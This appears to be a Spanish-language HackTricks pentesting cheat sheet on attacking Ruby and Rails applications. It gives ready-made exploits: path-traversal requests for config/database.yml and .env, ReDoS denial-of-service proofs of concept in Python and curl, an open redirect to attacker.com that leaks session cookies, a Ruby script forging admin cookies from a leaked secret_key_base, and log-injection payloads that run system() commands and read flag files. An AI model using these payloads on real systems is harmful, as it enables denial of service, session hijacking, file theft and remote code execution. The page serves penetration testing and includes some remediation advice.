Trucos de Ruby

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

File upload to RCE

Como se explica en this article, subir un archivo .rb a directorios sensibles como config/initializers/ puede conducir a remote code execution (RCE) en aplicaciones Ruby on Rails.

Tips:

  • Otras ubicaciones de arranque/carga anticipada (boot/eager-load) que se ejecutan al iniciar la app también son riesgosas si son escribibles (p. ej., config/initializers/ es la clásica). Si encuentras una subida arbitraria de archivos que acaba en cualquier lugar bajo config/ y después se evalúa/require, puedes obtener RCE al arrancar.
  • Busca builds de dev/staging que copien archivos controlados por el usuario dentro de la imagen del contenedor donde Rails los cargará al arrancar.

Active Storage image transformation → command execution (CVE-2025-24293)

Cuando una aplicación usa Active Storage con image_processing + mini_magick, y pasa parámetros no confiables a los métodos de transformación de imágenes, las versiones de Rails anteriores a 7.1.5.2 / 7.2.2.2 / 8.0.2.1 podrían permitir command injection porque algunos métodos de transformación fueron permitidos por defecto por error.

  • A vulnerable pattern looks like:
<%= image_tag blob.variant(params[:t] => params[:v]) %>

where params[:t] and/or params[:v] are attacker-controlled.

  • Qué probar durante las pruebas

  • Identifica endpoints que acepten opciones de variant/processing, nombres de transformación, o argumentos arbitrarios para ImageMagick.

  • Fuzzea params[:t] y params[:v] buscando errores sospechosos o efectos secundarios de ejecución. Si puedes influir en el nombre del método o pasar argumentos crudos que lleguen a MiniMagick, podrías obtener code exec en el host que procesa las imágenes.

  • Si solo tienes acceso de lectura a variantes generadas, intenta exfiltración ciega vía operaciones ImageMagick especialmente construidas.

  • Remediación/detecciones

  • Si ves Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 con Active Storage + image_processing + mini_magick y transformaciones controladas por el usuario, considéralo explotable. Recomienda actualizar y aplicar listas de permitidos (allowlists) estrictas para métodos/params y una política de ImageMagick endurecida.

Rack::Static LFI / path traversal (CVE-2025-27610)

Si el stack objetivo usa Rack middleware directamente o vía frameworks, las versiones de rack anteriores a 2.2.13, 3.0.14 y 3.1.12 permiten Local File Inclusion vía Rack::Static cuando :root no está seteado/mal configurado. Traversal codificado en PATH_INFO puede exponer archivos bajo el working directory del proceso o un root inesperado.

  • Busca apps que monten Rack::Static en config.ru o en las pilas de middleware. Prueba traversals codificados contra rutas estáticas, por ejemplo:
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env

Ajusta el prefijo para que coincida con los urls: configurados. Si la app responde con contenido de archivos, probablemente tengas LFI a cualquier cosa bajo el :root resuelto.

  • Mitigación: actualiza Rack; asegura que :root solo apunte a un directorio de archivos públicos y esté establecido explícitamente.

Rack multipart parser ReDoS / request smuggling (CVE-2024-25126)

Rack < 3.0.9.1 and < 2.2.8.1 consumía tiempo superlineal al parsear cabeceras Content-Type: multipart/form-data especialmente construidas. Un solo POST con una lista gigantesca de parámetros A= puede bloquear un worker de Puma/Unicorn y causar DoS o agotamiento de la cola de peticiones.

  • Quick PoC (will hang one worker):
python - <<'PY'
import requests
h = {'Content-Type': 'multipart/form-data; ' + 'A='*5000}
requests.post('http://target/', data='x', headers=h)
PY
  • Funciona contra cualquier stack basado en Rack (Rails/Sinatra/Hanami/Grape). Si está detrás de nginx/haproxy con keep-alive, repite en paralelo para agotar los workers.
  • Corregido haciendo el parser lineal; busca la gema rack con versión < 3.0.9.1 o < 2.2.8.1. En las evaluaciones, señala que los WAFs rara vez bloquean esto porque la cabecera es sintácticamente válida.

REXML XML parser ReDoS (CVE-2024-49761)

La gema REXML < 3.3.9 (Ruby 3.1 y anteriores) realiza backtracking catastrófico al parsear referencias de caracteres numéricos hex que contienen largas secuencias de dígitos (p. ej., &#1111111111111x41;). Cualquier XML procesado por REXML o bibliotecas que lo envuelvan (SOAP/XML API clients, SAML, SVG uploads) puede ser abusado para agotamiento de CPU.

PoC mínimo contra un endpoint de Rails que procesa XML:

curl -X POST http://target/xml -H 'Content-Type: application/xml' \
--data '<?xml version="1.0"?><r>&#11111111111111111111111111x41;</r>'

Si el proceso permanece ocupado durante segundos y la CPU del worker se dispara, probablemente sea vulnerable. El ataque requiere poco ancho de banda y también afecta a background jobs que ingieren XML.

Las apps que usan la gema cgi (por defecto en muchas Rack stacks) pueden quedar congeladas con un único header malicioso:

  • CGI::Cookie.parse era super-linear; cadenas de cookie enormes (miles de delimitadores) disparan comportamiento O(N²).
  • La regex de CGI::Util#escapeElement permitía ReDoS en el escaping de HTML.

Ambos problemas están corregidos en cgi 0.3.5.1 / 0.3.7 / 0.4.2. Para pentests, envía un Cookie: masivo o alimenta HTML no confiable al helper code y observa el bloqueo del worker. Combínalo con keep-alive para amplificar.

La gema googlesign_in < 1.3.0 (usada para Google OAuth en Rails) realizaba una comprobación same-origin incompleta sobre el parámetro proceedto. Una URL malformada como proceedto=//attacker.com/%2F.. elude la comprobación y redirige al usuario fuera del sitio preservando las cookies de flash/session de Rails.

Flujo de explotación:

  1. La víctima hace clic en un enlace de Google Sign-In manipulado alojado por el atacante.
  2. Tras la autenticación, la gema redirige a un dominio controlado por el atacante, leaking flash notices or any data stored in cookies scoped to the wildcard domain.
  3. Si la app almacena tokens de corta duración o magic links en flash, esto puede convertirse en una toma de control de la cuenta.

Durante las pruebas, haz grep en Gemfile.lock buscando googlesign_in < 1.3.0 y prueba valores proceedto malformados. Confirma vía cabecera Location y reflejo de cookies.

Forging/decrypting Rails cookies when secret_key_base is leaked

Rails cifra y firma cookies usando claves derivadas de secret_key_base. Si ese valor leaks (p. ej., en un repo, logs, o credenciales mal configuradas), normalmente puedes decryptar, modificar y re-encryptar cookies. Esto a menudo conduce a authz bypass si la app almacena roles, user IDs, o feature flags en cookies.

Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):

Ruby para descifrar/falsificar cookies ```ruby require 'cgi' require 'json' require 'active_support' require 'active_support/message_encryptor' require 'active_support/key_generator'

secret_key_base = ENV.fetch(‘SECRET_KEY_BASE_LEAKED’) raw_cookie = CGI.unescape(ARGV[0])

salt = ‘authenticated encrypted cookie’ cipher = ‘aes-256-gcm’ key_len = ActiveSupport::MessageEncryptor.key_len(cipher) secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len) enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)

plain = enc.decrypt_and_verify(raw_cookie) puts “Decrypted: #{plain.inspect}”

Modify and re-encrypt (example: escalate role)

plain[‘role’] = ‘admin’ if plain.is_a?(Hash) forged = enc.encrypt_and_sign(plain) puts “Forged cookie: #{CGI.escape(forged)}”

</details>
Notas:
- Las aplicaciones antiguas pueden usar AES-256-CBC y salts `encrypted cookie` / `signed encrypted cookie`, o serializadores JSON/Marshal. Ajusta salts, cipher y serializer según corresponda.
- En caso de compromiso/assessment, rota `secret_key_base` para invalidar todas las cookies existentes.

## Ver también (vulnerabilidades específicas de Ruby/Rails)

- Ruby deserialization and class pollution:
<a class="content_ref" href="../../pentesting-web/deserialization/index.html"><span class="content_ref_label">Deserialization</span></a>
<a class="content_ref" href="../../pentesting-web/deserialization/ruby-class-pollution.md"><span class="content_ref_label">Ruby Class Pollution</span></a>
<a class="content_ref" href="../../pentesting-web/deserialization/ruby-_json-pollution.md"><span class="content_ref_label">Ruby Json Pollution</span></a>
- Template injection in Ruby engines (ERB/Haml/Slim, etc.):
<a class="content_ref" href="../../pentesting-web/ssti-server-side-template-injection/index.html"><span class="content_ref_label">SSTI (Server Side Template Injection)</span></a>


## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smuggling

Cuando una app (a menudo un endpoint simple de Rack/Sinatra/Rails) cumple ambas condiciones:
- registra una cadena controlada por el usuario de forma literal, y
- luego hace `load` de un archivo cuyo path se deriva de esa misma cadena (después de `Pathname#cleanpath`),

A menudo puedes lograr ejecución remota de código envenenando el log y luego forzando a la app a `load` el archivo de log. Primitivas clave:

- Ruby `load` evalúa el contenido del archivo objetivo como Ruby independientemente de la extensión de archivo. Cualquier archivo de texto legible cuyo contenido se pueda parsear como Ruby será ejecutado.
- `Pathname#cleanpath` colapsa los segmentos `.` y `..` sin acceder al sistema de archivos, permitiendo path smuggling: basura controlada por el atacante puede ser antepuesta para logging mientras la ruta limpiada aún resuelve al archivo previsto para ejecutar (p. ej., `../logs/error.log`).

### Patrón mínimo vulnerable
```ruby
require 'logger'
require 'pathname'

logger   = Logger.new('logs/error.log')
param    = CGI.unescape(params[:script])
path_obj = Pathname.new(param)

logger.info("Running backup script #{param}")            # Raw log of user input
load "scripts/#{path_obj.cleanpath}"                     # Executes file after cleanpath

Por qué el log puede contener Ruby válido

Logger escribe líneas de prefijo como:

I, [9/2/2025 #209384]  INFO -- : Running backup script <USER_INPUT>

En Ruby, # inicia un comentario y 9/2/2025 es solo aritmética. Para inyectar código Ruby válido necesitas:

  • Empieza tu payload en una nueva línea para que no quede comentado por el # en la línea INFO; envía un salto de línea inicial (\n o %0A).
  • Cierra el [ colgante introducido por la línea INFO. Un truco común es empezar con ] y opcionalmente satisfacer al parser con ][0]=1.
  • Luego coloca código Ruby arbitrario (p.ej., system(...)).

Ejemplo de lo que terminará en el log después de una petición con un parámetro manipulado:

I, [9/2/2025 #209384]  INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log

Colar una sola cadena que tanto logs code como se resuelve en el log path

Queremos una única cadena controlada por el atacante que:

  • cuando logged raw, contiene nuestra Ruby payload, y
  • cuando se pasa por Pathname.new(<input>).cleanpath, resuelve en ../logs/error.log de modo que el posterior load ejecute el archivo de log recién envenenado.

Pathname#cleanpath ignora schemes y colapsa componentes de traversal, por lo que lo siguiente funciona:

require 'pathname'

p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath   # => ../logs/error.log
  • El # antes de :// asegura que Ruby ignore el resto cuando se ejecute el log, mientras que cleanpath aún reduce el sufijo a ../logs/error.log.
  • El salto de línea inicial sale de la línea INFO; ] cierra el corchete colgante; ][0]=1 satisface al parser.

Explotación de extremo a extremo

  1. Envía lo siguiente como el nombre del script de backup (codifica en URL el primer salto de línea como %0A si es necesario):
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
  1. La app registra tu cadena sin procesar en logs/error.log.
  2. La app calcula cleanpath, que resuelve a ../logs/error.log y llama a load sobre él.
  3. Ruby ejecuta el código que inyectaste en el log.

Para exfiltrar un archivo en un entorno tipo CTF:

\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log

URL-encoded PoC (el primer carácter es un salto de línea):

%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks